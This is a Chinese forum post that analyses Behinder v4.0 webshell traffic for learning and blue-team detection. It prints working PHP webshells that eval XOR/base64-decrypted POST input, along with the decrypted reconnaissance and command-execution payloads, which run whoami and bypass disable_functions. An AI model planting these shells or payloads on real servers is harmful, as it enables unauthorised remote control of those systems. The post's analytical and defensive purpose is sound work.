|
本帖最后由 margin 于 2023-1-23 22:06 编辑
冰蝎V4.0流量分析到攻防检测 (qq.com)
0x01 前言最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出
0x02 环境搭建
这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI
冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource
拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。
编辑
0x03 冰蝎的使用与流量分析冰蝎的使用我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。
编辑
这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php、.aspx 和 .jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流)
编辑
我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。
v4.0 的代码
- <?php
- @error_reporting(0);
- function decrypt($data)
- {
- $key="25f9e794323b4538";
- $bs="base64_"."decode";
- $after=$bs($data."");
- for($i=0;$i<strlen($after);$i++) {
- $after[$i] = $after[$i]^$key[$i+1&15];
- }
- return $after;
- }
- $post=Decrypt(file_get_contents("php://input"));
- eval($post);
- ?>
复制代码
这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。
v3.0 的代码
- <?php
- @error_reporting(0);
- session_start();
- $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
- $_SESSION['k']=$key;
- session_write_close();
- $post=file_get_contents("php://input");
- if(!extension_loaded('openssl'))
- {
- $t="base64_"."decode";
- $post=$t($post."");
-
- for($i=0;$i<strlen($post);$i++) {
- $post[$i] = $post[$i]^$key[$i+1&15];
- }
- }
- else
- {
- $post=openssl_decrypt($post, "AES128", $key);
- }
- $arr=explode('|',$post);
- $func=$arr[0];
- $params=$arr[1];
- class C{public function __invoke($p) {eval($p."");}}
- @call_user_func(new C(),$params);
- ?>
复制代码
v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。
冰蝎流量分析看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输
第一阶段-密钥协商
1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥;
2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
第二阶段-加密传输
1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
3)执行结果通过 AES 加密后返回给攻击者。
- • 但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。
我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。
编辑
第一段代码,经过 xor_base64 的解密,得到如下代码- error_reporting(0);
- function main($whatever)
- {
- $result = array();
- ob_start();
- phpinfo();
- $info = ob_get_contents();
- ob_end_clean();
- $driveList ="";
- if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){
- for($i=65;$i<=90;$i++) {
- $drive=chr($i).':/';
- file_exists($drive) ? $driveList=$driveList.$drive.";":'';
- }
- } else {
- $driveList="/";
- }
- $currentPath=getcwd();
- //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
- $osInfo=PHP_OS;
- $arch="64";
- if (PHP_INT_SIZE == 4) {
- $arch = "32";
- }
- $localIp=gethostbyname(gethostname());
- if ($localIp!=$_SERVER['SERVER_ADDR']) {
- $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];
- }
- $extraIps=getInnerIP();
- foreach($extraIps as $ip) {
- if (strpos($localIp,$ip)===false) {
- $localIp=$localIp." ".$ip;
- }
- }
- $basicInfoObj=array(
- "basicInfo"=>base64_encode($info),
- "driveList"=>base64_encode($driveList),
- "currentPath"=>base64_encode($currentPath),
- "osInfo"=>base64_encode($osInfo),
- "arch"=>base64_encode($arch),
- "localIp"=>base64_encode($localIp));
- //echo json_encode($result);
- $result["status"] = base64_encode("success");
- $result["msg"] = base64_encode(json_encode($basicInfoObj));
- //echo json_encode($result);
- //echo openssl_encrypt(json_encode($result), "AES128", $key);
- echo encrypt(json_encode($result));
- }
- function getInnerIP()
- {
- $result = array();
- if (is_callable("exec"))
- {
- $result = array();
- exec('arp -a',$sa);
- foreach($sa as $s)
- {
- if (strpos($s,'---')!==false) {
- $parts=explode(' ',$s);
- $ip=$parts[1];
- array_push($result,$ip);
- }
- //var_dump(explode(' ',$s));
- // array_push($result,explode(' ',$s)[1]);
- }
- }
- return $result;
- }
- function encrypt($data)
- {
- $key="25f9e794323b4538";
- for($i=0;$i<strlen($data);$i++) {
- $data[$i] = $data[$i]^$key[$i+1&15];
- }
- $bs="base64_"."encode";
- $after=$bs($data."");
- return $after;
- }
- $whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLcHpvVVdzMXZmUXM5NkhMVFVUNGhpQ3NXZWVYTFk1TnJOdHZNVEFXcTlMYUhFOHRoRUhzaXpBQldnaWtYUkhweDc1b2pvWWpyTUJOMkxvNmpuNWRndDVDSTNJc2I4dHpUdHF3dG5yRGxYNTlHNEtyS0NMSUw3Ym9lQk9mWjJldnlQSk5Jc2RCOU9SRVVUSGk0Q1NLaFJjNkJpcUZGMVM0MWVDcFdtaEpYT2hEaHVkdnNMUUNPbzREQ3pKekhjdG5KZXBuemJ0YkE1TU50bXhWTUNoOUM5dm5VMDNZM3IyRFBOZVJqeUd0b0t2ZFdhWk5ETU96WHEzdmFQQmFobXdNcTBvdVlyanlPZmVaRVNMYXhwWlFlVWtvendGOTlUaGJaUTZVVU82dVFZVEVMUHJJWnFYeFRVbXNhaGxqZnFmZmJGbVBIbGxQSlNaSmtpRnNORkM3UFRNbjFoOFlmUUYwVm1RNW1oMXVlbllTNEd4NXB4UVNHV2lzTE1UaFpaTUJNeHZlRldGZ2E3ZHA1MDA3ZXhHbG5rUEZjZ21jZjJFUktDUDdkajlNQVk5OHdEOXhkQVBkQTZhQ2ozeERja2VFZzZVWnhaMmQ5ZzF2c1BmdWRPbkZJSTc3MnJuSFE0emxDSllFSGxXQmVWeXhycjRkRHNzdkFKZTBRT2U4VXpoYkJ5YjhzOXpvZU54dm00S2VhY1R2QUdhalBBUFBSZlV3dDZwbnhxdjF3ZjVKZEhOSmxvRXJERWNIRTYyQWZmSGZseXNqbXBOVHZ4WGFJTE9WdTBHRUlpUXA1ZU4xOUluTktMc2huZnNSR0hBUjh3aWFyZ2MwVElCYmwyZG9lVmt4Qm5seGl6QmlyODBqZDlrR3pacHhncGUyTlpGVHNMdlR3WFZlZHduWVlMeVF5TjNORFpNdWVhVE9ZemJQT2VaZ2g1d3VSZEtjYUtEQUhCYmozd0lOeW1vd3Y0eGJ6cGtuUmZGUDlrOVA1MFdKT0FrbUVvUXE2TW1KdlNXWmw1ZzB4YmNValVDeDI1WHFwd3FLa1J4UTFZR24xM3NoVWhzY3Z6aHBqVzA4SUsweGFLTW5QNDY5RXB5VkF0RUpYYXpZem81aXpzVVRqcmxBRktoZnNKclZkR2ZRZFVxTmJQZnV3R2JqZVBpWXVOUThmVW0yOEszaFJXV3RtWkFXQ0JCeHRGQk1BQlg5ZmxVQktZUnc2cHd6dDRIMzY4N0NobW9JSE5QQ2QwUjQzdkx1aEM2SmdFSUZkZXVpRjUxODFZVVZFQWF1WU82bmxiOEo2RnBEU0Q0SHVsNDYyQXBRQzF6N0JEZ0c3aklhQWNkNWhGT0k0bFBxQXc2S0ZCUWE5QVM5NktWSVRDajFMN1dYSFZKZ01XN005RThyeFRBaXlseWJreFV1b256VWlNS0lBU2wwZkVjcjNZTFVrUTFtQUxKb2ZJc0s4SjllZG9Ca0RXWWY4eEJ1VVJLTVJLaGtYdm52cU5ySmx4MlJmbmtwQlV2QmVWYVZvbzlOeXB6Q0NTVmpZM2RYdlVUdk9FbUdldHJ4eU5kZTNoQ1FlMmduckRVM1F1andxN1NKTURVRld3YVBueHRlRnR3V2FScTY2WlRURHpIRHNDUkF3UDdnUkNSNGZKaHJzZmlINXRWcGpvdWprZlc4Zk93UUFYYVV2V3VaakRwMVFWTWRBN2JXMGZIbU1QNkdXb2VDeFZiWUdOSDV1OTluejRxNUM3emliVDMzNkVSWnRIUVh2M0s1ZW5BcEgyNkwyZlBYaUJtaU1zcHZMOGloeFlWdTJtRE9aOTdKc2drYnRqNGZLSWNnSEJtOUZxbmFTWmVoblNjVURnY3o2RDE1RmxkZjM2bnptQWtaSW1WR083enplakQ4cFpDUXBGdTZtMkRIVk51NG8xcEJOZVhLZXVNSjd6VVIyM1VuOElVVDlKUHZQeE0yZk5EZ09yUEJXczdwSHk0TklHbFRJbGZWZ0tGTFBnNVZTWmZaOXhaTnpQVm9kWUZDS1RwWlNSUGtCS2NqcWFyeEhSanRHTkZveXh2M0poRjhDdkN0emFuTlM2OHp5WTQyekIzM0NXNmdGeGdvaFdMVkJiVUlES3RsVWhGdDBTZnZ3bDlEZDdIWFdmbXFjcFZpWmNxRE1mcWVXaVg3STh6YzNxY3dscHlzVFNsSVl5anZGc2hhREFNWTZsNG1qMFdsRHppZHhFOXpldmtPeFpETzlheVBJOWJlbWxDNmk4WUppR1dnRTNqclI0ZUw0T0xncEJNQnZyS0RUckF2QTNnUXdyTU9iOHFhZzJ1VzFXRHhMQ0ZRRktNWGVVYjJhcFhDRjMyQkIzRzBpU1VBVGJMSVBpeEltOHBVakRMazkyZDBkR29heEVPeWl4U1ZjWENEampLaHBFVm13NkFQQTI0VUNpUFd1TVR5S21aTTFnNUszdzd0SjFuNzNhV200RFE0OG9Oakhmbm81Y0FPT05uWlAyVE9SWGJibFFYb1VPcW5idXFCRmlrQTJRVnQwazdBYkdmbWp0Z01Bbk5xODFUUEpOVzdvYzNTbDBFYUNLOEpCMTNialBTam5hdkZSdU5vNWxpWkhZSTlMOWNBRkdhMDhDMUhlYXpFR0plalhINjJNMUo3NlphNnNZT1hLN202d05wZnhTVTh5WGlPSG1GNlVPVVNJdHVGVWFMcW1Td00yMTFrbFdFTG40cEREQ3Ftd3NMZEpiV2szOE5FZXh5QW9kSmV0dDVuWlVKdlNXVFF1VVE0WVJRWlR3V2ZEaGZxTGI2RzRKaEtXYmFIYUdIaGtrQWk5Wm9Rbkx4RUVVdGJCSjJjVmNwMjhKRVNKMGpSSFNZYU83ek1US3Z3ZVlGN0ZTMk5hUlhBOUx1NkFjemxCYTNraXd6TEZmNlZrWEM5WVVCVURTVkhmdHVrTDNOWnRxVlB2R2dUZGpNVzJLTzFFcXpIVHBXblVpejU2MXNRTjNNa25UUWh5V2xVcFZOeFpmN1hBR0IwMnJVSk1yczVQblhZMXpadDhqbmF4d2h3amVWYnpiZ3FYc0ZBeXAydkpCbGtnVUg2NzRjQ3J4OUM0YzdTdW96bkZVOVZBeGJlekNRc2VqMElSNkxyQlNmZkNwYkwycjJLN0xBWTZFTnNiQjh3bFBuM1dvMTA4Y2IzcHNGT0Q3dzROcHNsSHZpc0szZVZVQ0psRm93RjdZSk5JQzVITWVZRmtjaEtkS1dDUUdOT3RwaDh3";
- $whatever=base64_decode($whatever);
- main($whatever);
复制代码
我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此)
接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下- @error_reporting(0);
- function getSafeStr($str){
- $s1 = iconv('utf-8','gbk//IGNORE',$str);
- $s0 = iconv('gbk','utf-8//IGNORE',$s1);
- if($s0 == $str){
- return $s0;
- }else{
- return iconv('gbk','utf-8//IGNORE',$str);
- }
- }
- function main($cmd,$path)
- {
- @set_time_limit(0);
- @ignore_user_abort(1);
- @ini_set('max_execution_time', 0);
- $result = array();
- $PadtJn = @ini_get('disable_functions');
- if (! empty($PadtJn)) {
- $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
- $PadtJn = explode(',', $PadtJn);
- $PadtJn = array_map('trim', $PadtJn);
- } else {
- $PadtJn = array();
- }
- $c = $cmd;
- if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
- $c = $c . " 2>&1\n";
- }
- $JueQDBH = 'is_callable';
- $Bvce = 'in_array';
- if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
- ob_start();
- system($c);
- $kWJW = ob_get_contents();
- ob_end_clean();
- } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
- $handle = proc_open($c, array(
- array(
- 'pipe',
- 'r'
- ),
- array(
- 'pipe',
- 'w'
- ),
- array(
- 'pipe',
- 'w'
- )
- ), $pipes);
- $kWJW = NULL;
- while (! feof($pipes[1])) {
- $kWJW .= fread($pipes[1], 1024);
- }
- @proc_close($handle);
- } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
- ob_start();
- passthru($c);
- $kWJW = ob_get_contents();
- ob_end_clean();
- } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
- $kWJW = shell_exec($c);
- } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
- $kWJW = array();
- exec($c, $kWJW);
- $kWJW = join(chr(10), $kWJW) . chr(10);
- } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
- $fp = popen($c, 'r');
- $kWJW = NULL;
- if (is_resource($fp)) {
- while (! feof($fp)) {
- $kWJW .= fread($fp, 1024);
- }
- }
- @pclose($fp);
- } else {
- $kWJW = 0;
- $result["status"] = base64_encode("fail");
- $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
- $key = $_SESSION['k'];
- echo encrypt(json_encode($result));
- return;
- }
- $result["status"] = base64_encode("success");
- $result["msg"] = base64_encode(getSafeStr($kWJW));
- echo encrypt(json_encode($result));
- }
- function encrypt($data)
- {
- $key="25f9e794323b4538";
- for($i=0;$i<strlen($data);$i++) {
- $data[$i] = $data[$i]^$key[$i+1&15];
- }
- $bs="base64_"."encode";
- $after=$bs($data."");
- return $after;
- }
- $cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
- $cmd=base64_decode($cmd);
- $path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
- $path=base64_decode($path);
- main($cmd,$path);
复制代码
经过 base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。
编辑
继续分析下一个包,代码如下,这里就进行了命令执行- <?php
- @error_reporting(0);
- function decrypt($data)
- {
- $key="25f9e794323b4538";
- $bs="base64_"."decode";
- $after=$bs($data."");
- for($i=0;$i<strlen($after);$i++) {
- $after[$i] = $after[$i]^$key[$i+1&15];
- }
- return $after;
- }
- $post=Decrypt(file_get_contents("php://input"));
- eval($post);
- ?>
复制代码
- • 这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。
把相应包解密出来,内容如下
{"status":"c3VjY2Vzcw==","msg":"xxx略,篇幅太长"}
把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。
编辑
编辑
至于后面的命令执行部分,是比较好分析的
把流量包提取出来,进行解密- @error_reporting(0);
- function getSafeStr($str){
- $s1 = iconv('utf-8','gbk//IGNORE',$str);
- $s0 = iconv('gbk','utf-8//IGNORE',$s1);
- if($s0 == $str){
- return $s0;
- }else{
- return iconv('gbk','utf-8//IGNORE',$str);
- }
- }
- function main($cmd,$path)
- {
- @set_time_limit(0);
- @ignore_user_abort(1);
- @ini_set('max_execution_time', 0);
- $result = array();
- $PadtJn = @ini_get('disable_functions');
- if (! empty($PadtJn)) {
- $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
- $PadtJn = explode(',', $PadtJn);
- $PadtJn = array_map('trim', $PadtJn);
- } else {
- $PadtJn = array();
- }
- $c = $cmd;
- if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
- $c = $c . " 2>&1\n";
- }
- $JueQDBH = 'is_callable';
- $Bvce = 'in_array';
- if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
- ob_start();
- system($c);
- $kWJW = ob_get_contents();
- ob_end_clean();
- } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
- $handle = proc_open($c, array(
- array(
- 'pipe',
- 'r'
- ),
- array(
- 'pipe',
- 'w'
- ),
- array(
- 'pipe',
- 'w'
- )
- ), $pipes);
- $kWJW = NULL;
- while (! feof($pipes[1])) {
- $kWJW .= fread($pipes[1], 1024);
- }
- @proc_close($handle);
- } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
- ob_start();
- passthru($c);
- $kWJW = ob_get_contents();
- ob_end_clean();
- } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
- $kWJW = shell_exec($c);
- } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
- $kWJW = array();
- exec($c, $kWJW);
- $kWJW = join(chr(10), $kWJW) . chr(10);
- } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
- $fp = popen($c, 'r');
- $kWJW = NULL;
- if (is_resource($fp)) {
- while (! feof($fp)) {
- $kWJW .= fread($fp, 1024);
- }
- }
- @pclose($fp);
- } else {
- $kWJW = 0;
- $result["status"] = base64_encode("fail");
- $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
- $key = $_SESSION['k'];
- echo encrypt(json_encode($result));
- return;
- }
- $result["status"] = base64_encode("success");
- $result["msg"] = base64_encode(getSafeStr($kWJW));
- echo encrypt(json_encode($result));
- }
- function encrypt($data)
- {
- $key="25f9e794323b4538";
- for($i=0;$i<strlen($data);$i++) {
- $data[$i] = $data[$i]^$key[$i+1&15];
- }
- $bs="base64_"."encode";
- $after=$bs($data."");
- return $after;
- }
- $cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
- $cmd=base64_decode($cmd);
- $path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
- $path=base64_decode($path);
- main($cmd,$path);
复制代码
对应回显是
{"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"}
编辑
一些疑问和改进点简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点
- • 1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。
- • 2、针对 aes,xor_base64 进行加密的防御型脚本检测。
- • 3、冰蝎的改写,是否可以采用新型加密方式。
0x04 冰蝎传输与攻防冰蝎传输与连马&命令执行冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测
在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
首先看一下冰蝎Payload流转的流程图:
编辑
可以分为这五个流程
- • 1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端;
- • 2、服务端收到 Payload 密文后,利用解密算法进行解密;
- • 3、服务端执行解密后的 Payload,并获取执行结果;
这三步的基础是 shell.php,通过 post 请求传 body
<?php@error_reporting(0); function decrypt($data){ $key="25f9e794323b4538"; $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i<strlen($after);$i++) { $after[$i] = $after[$i]^$key[$i+1&15]; } return $after;} $post=Decrypt(file_get_contents("php://input")); eval($post);?>
在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。
对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php
编辑
- • 在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。
- @error_reporting(0);
- function main($content)
- {
- $result = array();
- $result["status"] = base64_encode("success");
- $result["msg"] = base64_encode($content);
- @session_start(); //初始化session,避免connect之后直接background,后续get result无法获取cookie
- echo encrypt(json_encode($result));
- }
- function encrypt($data)
- {
- $key="25f9e794323b4538";
- for($i=0;$i<strlen($data);$i++) {
- $data[$i] = $data[$i]^$key[$i+1&15];
- }
- $bs="base64_"."encode";
- $after=$bs($data."");
- return $after;
- }
- $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
- $content=base64_decode($content);
- main($content);
复制代码
在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。
接着
